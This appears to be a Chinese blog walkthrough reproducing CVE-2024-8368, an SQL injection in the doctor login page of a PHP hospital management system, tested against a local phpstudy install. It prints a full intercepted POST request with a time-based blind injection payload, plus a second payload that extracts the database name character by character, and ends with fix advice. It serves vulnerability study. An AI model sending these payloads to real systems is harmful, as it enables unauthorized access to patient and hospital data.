首页 > 数据库 >Code-Projects Hospital Management System SQL注入漏洞(CVE-2024-8368)复现

Code-Projects Hospital Management System SQL注入漏洞(CVE-2024-8368)复现

时间:2024-10-12 14:48:28浏览次数:18  
标签:Code 8368 Hospital SQL hms 漏洞 sql php 数据库

参考文献:

code-projects 使用 PHP 的医院管理系统,源代码 v1.0 /hms/doctor/index.php SQL 注入 ·问题 #1 ·青銮机器人/CVE ·GitHub的

国家信息安全漏洞库 (cnnvd.org.cn)


免责声明

本文仅用于安全研究和学习目的。请勿将文中提供的漏洞复现方法、脚本或其他信息用于未经授权的系统、网络或服务攻击。任何个人或组织在使用这些信息时,应遵循所在国家或地区的法律法规,未经授权的渗透测试和入侵行为是违法的。本文作者和发布平台不对因不当使用本文内容而导致的任何损失、损害或法律后果承担责任。

通过继续阅读本文,表示您已理解并接受上述免责声明。如您不同意这些条款,请不要继续进行漏洞复现或相关操作。


目录

1、漏洞原理

漏洞分析

影响范围

2、漏洞复现

环境准备

环境搭建

漏洞利用

3、漏洞修复建议


1、漏洞原理

Code-Projects Hospital Management System是Code-Projects开源的一个医院管理系统。

漏洞分析

Code-Projects Hospital Management System 1.0 版本中存在SQL注入,该漏洞源于/hms/doctor/index.php接收username参数值时,对传入数据没有经过任何验证和转义直接插入到SQL查询中,从而导致SQL注入。

影响范围

Code-Projects Hospital Management System 1.0 版本

2、漏洞复现

环境准备

phpstudy

Code-Projects Hospital Management System 1.0源码:download.code-projects.org/details/e13ce994-d280-4a64-90fb-f08663479bb4

环境搭建

(1)创建hms.sql数据库

phpstudy开启apache和mysql服务后,将解压后的源码hospital文件夹放到网站的根目录下

人家要求创建一个名为hms.sql的数据库,不懂为什么数据库名字要加个后缀。。。。

phpstudy-数据库-创建数据库,创建一个名为hms.sql的数据库

(2)导入sql文件

phpstudy-软件管理  找到数据库管理工具phpmyadmin(此时我的php版本为php7.3.4nts)

通过刚才创建数据库时设置的口令登录phpmyadmin后,点击hms.sql-导入-浏览,将\www\hospital\sqlfile\hms.sql文件导入hms.sql数据库后执行

(3)连接数据库

修改\www\hospital\hms\doctor\include\config.php配置文件,连接数据库

(4)切换php版本

在上述config.php文件中调用了mysql_connect()函数,但是该函数在php7.0及以上版本已被移除,需要切换php版本

在phpstudy-网站-管理-php版本处选择php5.3.29nts版本(没有低版本的去 phpstudy-软件管理 安装)

复现环境已经搭建完成

漏洞利用

在浏览器中访问 http://127.0.0.1/hospital/hms/doctor/index.php (具体路径取决于网站搭建根目录下的文件),打开代理,随便输入用户名和密码后点击Login,使用burpsuit进行拦截之后发送到重放器修改请求

在漏洞分析中已经发现在username参数处存在使用单引号闭合的字符型SQL注入,但是发现对于错误的用户名和口令都会直接重定向到登录页面,没有任何回显信息,猜测存在时间盲注

修改前:

对于错误的用户名和口令会重定向到登录页面,耗时非常短,就33毫秒

修改后重发:

POST /hospital/hms/doctor/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/hospital/hms/doctor/index.php
Cookie: ajs_anonymous_id=e144bb8a-760d-44a2-9e3d-c861226861de; PHPSESSID=vuiqed64elkoqsahibpg6ulnpo
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

username=avfsdf' AND (SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=

SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END 

如果当前数据库名称的长度等于7,数据库延迟15秒响应

成功发送效果:

已知我们当时创建的数据库名称为hms.sql——7个字符,触发条件,右下角页面响应时间确实和正常的响应时间相比延迟了15秒

稍微修改条件后重发效果:

数据库名称长度为7个字符,不满足条件,正常响应

漏洞复现成功,后续可以继续通过ascii()函数确定数据库名称。。。。

username=avfsdf' AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT DATABASE()),1,1))=104) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=

3、漏洞修复建议

对所有用户输入进行严格的验证和过滤,防止特殊字符等被直接用于SQL查询

将数据库查询逻辑封装在存储过程中,减少应用直接与数据库交互的机会

关注相关安全公告,及时打补丁

标签:Code,8368,Hospital,SQL,hms,漏洞,sql,php,数据库
From: https://blog.csdn.net/weixin_51243345/article/details/142857918

相关文章

  • Qwen2.5-Coder——专门从事代码生成、完成和数学推理任务的 LLM
    1.概述论文地址:https://arxiv.org/pdf/2409.12186源码地址:https://github.com/qwenlm/qwen2.5-coderQwen2.5-Coder是其前身CodeQwen1.5的重大演进,专门设计用于执行代码生成和代码修改等编程相关任务。该系列包括两个型号,参数分别为15亿(15亿)和70亿(70亿)。2.算法......
  • 代码随想录训练营第五天|Leetcode.349,Leetcode.454,Leetcode19,Leetcode18
    一、哈希表和set和map和数组的关系 用哈希表,判断是否出现过。数值很大或者数值很分散时,不用数组,占用空间大,用set。set,multiset数组的大小是受限制的,而且如果元素很少,而哈希值太大会造成内存空间的浪费。set是一个集合,里面放的元素只能是一个key,而两数之和这道题目,不仅要判......
  • LeetCode题练习与总结:单词规律--290
    一、题目描述给定一种规律 pattern 和一个字符串 s ,判断 s 是否遵循相同的规律。这里的 遵循 指完全匹配,例如, pattern 里的每个字母和字符串 s 中的每个非空单词之间存在着双向连接的对应规律。示例1:输入:pattern="abba",s="dogcatcatdog"输出:tr......
  • 代码随想录Day23 | LeetCode 455. 分发饼干、LeetCode 53. 最大子数组和、LeetCode 37
    LeetCode455.分发饼干贪心就是干classSolution:deffindContentChildren(self,g:List[int],s:List[int])->int:g.sort(reverse=True)s.sort(reverse=True)i=j=0res=0whilei<len(g)andj<len(......
  • MacOS在VS code上运行Python失败,通过更改pythonPath解决
    问题描述安装完成python后,默认的运行python命令是python3,而VSCode上默认命令是python解决办法在file\preference\settings下(或使用快捷键Ctrl+,),搜索python.pythonPath然后点击AddItem,加入"python.pythonPath"="python3"再修改一下调试结束之后保存,重启VSCode......